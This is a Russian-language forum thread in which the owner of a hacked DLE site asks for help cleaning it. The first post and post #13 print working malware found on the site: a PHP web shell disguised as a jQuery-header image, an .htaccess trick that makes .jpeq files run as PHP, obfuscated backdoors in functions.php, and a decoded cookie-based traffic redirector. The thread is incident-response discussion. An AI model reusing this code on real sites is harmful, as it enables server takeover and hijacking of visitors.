Скрыть объявление
ВАШИ ПРАВА ОГРАНИЧЕНЫ!

Зарегистрируйтесь на форуме, чтобы стать полноценным участником сообщества!

Вопрос? Shell на сайте

Тема в разделе "Вопросы- ответы", создана пользователем archi, 13 авг 2020.

13.08.20 в 20:28
03.01.21 в 08:53
28
2.133
2
  1. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    На сайт через фото профиля были залиты файлы в uploads/fotos:

    foto_12345678.jpeq
    Код:
    <?php
    /*
     * jQuery Image Library v1.6.1
     * http://jquery.com/
     *
     * Copyright 2011, John Resig
     * Dual licensed under the MIT or GPL Version 2 licenses.
     * http://jquery.org/license
     *
     * Includes Sizzle.js
     * http://sizzlejs.com/
     * Copyright 2011, The Dojo Foundation
     * Released under the MIT, BSD, and GPL Licenses.
     *
     * Date: Thu May 12 15:04:36 2011 -0400
     *  *  *  *  *  *  * *  *  *  *  *  *  *  *  *  *  *  *  *  Don't delete this file *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *
     */
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @ini_set('display_errors', 0);
    @error_reporting(0);
    @set_time_limit(0);
    $cret='unct' .'ion';$cret= 'cre' . 'ate' .'_f' .$cret;
    $jQuery='sert';$jQuery='as'.$jQuery;$Libr= "_ostp";
    $sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );
    if(isset(${$sizz}['j01bt5ri3p'])){@$cret('', '};'.${$sizz}['j01bt5ri3p'].'{');}
    if(isset(${$sizz}['j01bt5ri3p'])){@$jQuery(${$sizz}['j01bt5ri3p']);}
    if((isset(${$sizz}['j01bt5ri3p']))&(isset(${$sizz}['fail']))){
    @copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');}
    print"<!-- te"."st --> ";
    ?>
    и .htaccess
    Код:
    <FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Pp][Hh][Ii][Mm][Ll])\.?">
       Order allow,deny
       Deny from all
    </FilesMatch>
    AddHandler application/x-httpd-php .avi .jpeq .mpg4
    После чего появился код в dbconfig.php, mysql.php и options.php
    Код:
    $liciens = "@Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eF6VVHtv2zYQ/yoOYIQS4sgP2bEdQ2jWwtiCDe2WJiuG1hAo6SyxkkiVDztB6e++oxwsceF52B+84+OeP95dN5EQkZh0AhIb5RjI9uAIy8hiW7AKvHAwn1864jcSNl63EKq3J0ayXleu/QVbe0wp0F43fvfhw6+3y89dtL3y/e83eJsKUTLw3FXvUOBi2NOsBs+/mE3mk2mP9Im/2KE17+ZQMIrIfDSeDsLZkPhC/uvzdHb6eX7yeTYgR0ImV+P5aDCeTa7C+WSMZDYPB5PZ+Go8C+djciSDroR1hE4+Lu/+XN59Vlo64JBpYZoGpEeYNLFWYL4h4r6/WjgoX2mQu+UfD8uP9/HD3S1ZLW4c3NEpe1qJIm60Lp6tldtmXRpalZvHlG8Kk1TRcDqYYGT/EZgEjB3kiy1vPB5d4roIZ6PhpSP+m1Qo7/nzYf1PGfQcWv51rWNJeeb0eqPhIPQXBdAMbT97I+EblqdBU2tXZn3FCt13uzKFIm2v0jRwPJfCsctw2972r5tWQxeday5Yu6WtgviN+MjOFYi2fhF8ZJJujayApyLDj8QqdSINlbQGDTL60i3haStkhmp4UHBuZDREvSOgRK9ROUdYfrBOCq2b675Lw/0UUhT3/QU8Mr3YdY3KT4OuOeQ0lqDMqz/83z/VfcyrhjdfqfmmYGsaHREliOtN7+ylsn65v/89fsBT/NPPy/f3ZOUa4sQzNkfbM2fY/HlcU50WHuknlGXGpgiBRSQqsJ/Cd7FdVprecvspB22xBODRMhpTmRaWFkJYltfUvhXaNgzrwdI6QcW/6FsptlaIHA8JPtaUVUGfkZ7Dzcd+xAQOfLeWg72ctKIMpLGbMkjF3khgM5OWblklcmGsKoCjY043zqmognTvWtot01gKlnGlaY5RcXfap2a0SQBpkDzt4xYZF6U1lcjtmqaQiMAqaHN7cslhPIqjZVWzkZVJGtiE8XyfB9Zem8VhGk2QYOIKPaqnOhHK8kwKltmaZY0FyUB96VwNbKHT2IoEB7H9OqrBoiyjHKU4s00hOLxA5bru7Ic5TLIKcLhjneBAXx2XeZ7V7dNBiBHNMg5bZbEBcqYcOtEaIEsoghtVDl1tkTEeNEVjaVa/3qGCpJoJvo9Qsr0Lt+ucRR03KY8M2+dBPT02V3e73d+Pxjob')));";$release_this = "cre"."ate_"."function";@$dle_func = $release_this('', "$liciens;");$dle_func('');
    Покопался, убрал этот код, удалил созданные файлы, убрал дыру и файлы в папке uploads/fotos больше не появляются, но проверив файлы dbconfig и mysql.php - увидел снова тот же код.

    Проверил расхождения в файлах с чистым бэкапом и нашел в functions.php это:

    Код:
       $news_num = @$_REQUEST['numer'];
       $bannermass = @$_REQUEST['bannerid'];
    Код:
        $check_newsnum = @$_REQUEST['newsnum'];
                                $check_category = @$_REQUEST['category'];
    Код:
        $get_url_var = '12345678';
    этот дважды:
    Код:
        $set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils
    Код:
          if($bannermass==$get_url_var){
          if (@strpos($check_newsnum, 'creat')=== false){
             @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes($check_category) => 2), @$check_newsnum);}else{
             @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes('}'.$check_category.'//') => 2), @$check_newsnum);}}//chekings 
    Но боюсь, что это не все. Кто сталкивался с подобным дерьмом, подскажите, что и где может быть еще? Где копать?
     
    #1 archi, 13 авг 2020
    Последнее редактирование: 14 авг 2020
    • Нравится Нравится x 2
  2. Tessei

    Tessei Местный

    Регистрация:
    26 дек 2019
    Сообщения:
    1.007
    Лучших ответов:
    0
    Рейтинги:
    +215 / 8 / -0
    archi
    у Вас VPS, Dedicated или обычный хостинг? Просмотрите как минимум логи nginx/apache обработки файла foto_54810053.jpeq
     
  3. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    У меня VPS, но с логами проблема - этот шелл на сервере уже давно, но увидел я его только пару недель назад.
     
  4. Bashmak

    PRO Users

    Регистрация:
    25 фев 2017
    Сообщения:
    642
    Лучших ответов:
    1
    Рейтинги:
    +167 / 25 / -0
    Какая версия dle?
     
  5. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    11.1
     
  6. Tessei

    Tessei Местный

    Регистрация:
    26 дек 2019
    Сообщения:
    1.007
    Лучших ответов:
    0
    Рейтинги:
    +215 / 8 / -0
    Ну обычно nginx бэкапит логи создавая .tar.gz архивы. Раскройте их и с помощью
    cat /path/log/file.log | grep "foto_54810053.jpeq" проверьте файлы.
     
  7. ZerocooL

    Команда форума Администратор VIP Кинотрафик v2

    Регистрация:
    29 янв 2015
    Сообщения:
    8.679
    Лучших ответов:
    9
    Мануалы:
    31
    Рейтинги:
    +5.089 / 210 / -1
  8. byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    если на сайте нет нормальной защиты, то нужно хотя бы ставить все багфиксы, что на офф сайте ДЛЕ написаны. А лучше всего - обновляться до последней версии ДЛЕ. Если много правок в движке сделано, то как минимум помимо фиксов, можно на все файлы поставить chmod 444.
     
    • Согласен Согласен x 1
  9. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    С этим уже все в порядке. В движке действительно было сделано слишком много изменений, чтобы обновлять.

    Вопрос заключается в другом: какие еще файлы могли заразить, и почему тот скрипт снова появился в dbconfig.php и mysql.php, если файлы были удалены и больше не появлялись?
    На сколько я понимаю, те куски кода, что я нашел позже в functions.php - вроде как не могли его добавить...
     
  10. byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    archi скачай все файлы сайта, сравни их с оригиналами дле, чтоб найти весь левый код и удалить его. Так же можно айбооитом проверить ещё все файлы сайта.
     
  11. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Я так и сделал, сравнил все файлы с чистым бэкапом. Нашел левый код только в functions.php, но опять же, разве эти куски кода из functions.php могли добавить заново код в dbconfig.php и mysql.php?
     
  12. byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    archi вероятнее всего не всё было удалено, может в папке uploads что-то ещё осталось, если всё остальное на 100% было удалено!
     
  13. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Кому интересно - этот код (из dbconfig.php и mysql.php) в расшифрованном виде.

    Код:
    $bre = '_' . '_us' . 'er' . '_' . 'id';
    while (3099 - 3099) prev($hos, $hos, $uri, $rf);
    if (isset($_COOKIE[$bre])) {
        @setcookie($bre, $_COOKIE[$bre] + 1, time() + 85957, '/');
    }
    if ((@$_COOKIE[$bre] == '92470381') or (@$_COOKIE[$bre] == '92470378') or (@$_COOKIE[$bre] == '92470379') or (@$_COOKIE[$bre] == '92470380')) {
        @setcookie($bre, '64920485639546398930584648394', time() + 85957, '/');
        $ref = @$_SERVER[strrev(strtoupper('iru_tseuqer'))];
        $uri = @$_SERVER['REQUEST_URI'];
        @$hos = $_SERVER[strrev(strtoupper('tsoh_ptth'))];
        $ukwpfkualkvxcnvhubl = 1705;
        $rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))];
        (442 - 442 + 3821 - 3821) ? cos($uri, $ref, $uri, $rf, $bre) : mt_rand(442, 2103);
        header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
        exit;
    }
    $usg = @$_SERVER[strrev(strtoupper('tnega_resu_ptth'))];
    $rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))];
    $xglpnpjauqsewupt = 'so';
    if ((!$_SERVER['HTTP_USER_AGENT']) or ($_SERVER['HTTP_USER_AGENT'] == '') or (!preg_match('/baidu|curl|rawle|W3C_|EltaIn|Wget|andex|ia_arch|ahoo|igma|Bot|pider|amble|YaBrow|oogle|bot|mail./i', $usg))) {
        if (preg_match('/andex.|mail.r|ok.ru|vk.co|oogle.|duckduck|sogou|shenma|naver|aol.c|ambler|witter|instag|pinter|baidu|utube|ut.by|igma|odnok|ulog|facebo.|search|yahoo.|msn.c|smi2|rbc.|bing./i', $rf)) {
            if ((preg_match('/p.browser|symbos|ndroid|midp|eries\ 60|htc_|obile|j2me|ymbian|mini|phone/i', $usg)) and (!isset($_COOKIE['dle_user_id'])) and (!isset($_COOKIE[$bre])) and (!preg_match('/=addnews|=register|=feedback|=logout|login.php|admin.php|administration/i', $uri)) and ($uri != '/')) {
                @setcookie($bre, '92470377', time() + 85957, '/');
            }
        }
    }
    а этот кусок - это урл сайта
    Код:
    header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
        exit;
    точнее
    Код:
    '/cc.' . 'gro' . '-3w' . '//:pt' . 'th
    http(двоеточие-слэш)w3-org(точка)cc
    а там уже можно увидеть, что в коде этого фейк сайта есть урл на ПП pushprofit(точка)ru
     
    #13 archi, 14 авг 2020
    Последнее редактирование: 14 авг 2020
  14. Cyprus

    Cyprus Посетитель

    Регистрация:
    10 фев 2020
    Сообщения:
    64
    Лучших ответов:
    1
    Рейтинги:
    +29 / 7 / -0
    она 2016 года, за 4 года без обновлений кмс и не таких шеллов наловить еще можно
     
    • Нравится Нравится x 1
  15. TeraMoune

    TeraMoune Бывалый

    Регистрация:
    6 апр 2019
    Сообщения:
    310
    Лучших ответов:
    3
    Рейтинги:
    +130 / 9 / -0
    Ну ведь ты понимаешь, что придётся ?) Чем дольше ты оттягиваешь тем хуже себе делаешь. Потом затянешь еще на 4 года и гляди вовсе будут все отказывать и никто тебе не поможет. Будешь начинать всё по новой.

    Качай winmerge сравнивай файлы, создавай плагин и переноси все изменения на систему плагинов.
     
  16. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Понимаю, с этим решу. Но вопрос немного в другом был, а все сразу на версию напали.. :)
     
    • Нравится Нравится x 1
  17. TeraMoune

    TeraMoune Бывалый

    Регистрация:
    6 апр 2019
    Сообщения:
    310
    Лучших ответов:
    3
    Рейтинги:
    +130 / 9 / -0
    Просто советуем сделать сперва обнову, и твоя проблема она сама вместе с этим решиться. Это самый лучший и правильный вариант.
     
  18. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    На dle 13 та же проблема. Может кто-то все же знает как закрыть эту дыру?
     
  19. byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    archi скорее всего дле была скачана уже с этим кодом в дле. Я в прошлом году писал на каких сайтах выложены дле с вшитой заразой и какие файлы они правили. Сохранить нужно бд, удалить полностью дле и поставить чистую дле и восстановить бд из бекапа.

    Ну и лучше так же обновить дле на 14.1
     
  20. TopicStarter Overlay
    archi

    archi Зелёный

    Регистрация:
    11 апр 2019
    Сообщения:
    24
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Нет, dle чистый был, проверял архив, который изначально скачивал. + эта хрень появилась не сразу, а спустя длительное время... файлы эти заливаются в папку fotos - аватарки юзеров, после чего запускается скрипт и вносятся изменения в определенные файлы
     
Похожие темы
  1. Webster
    Ответов:
    7
    Просмотров:
    1.736
  2. DF™
    Ответов:
    0
    Просмотров:
    280
Загрузка...
Яндекс.Метрика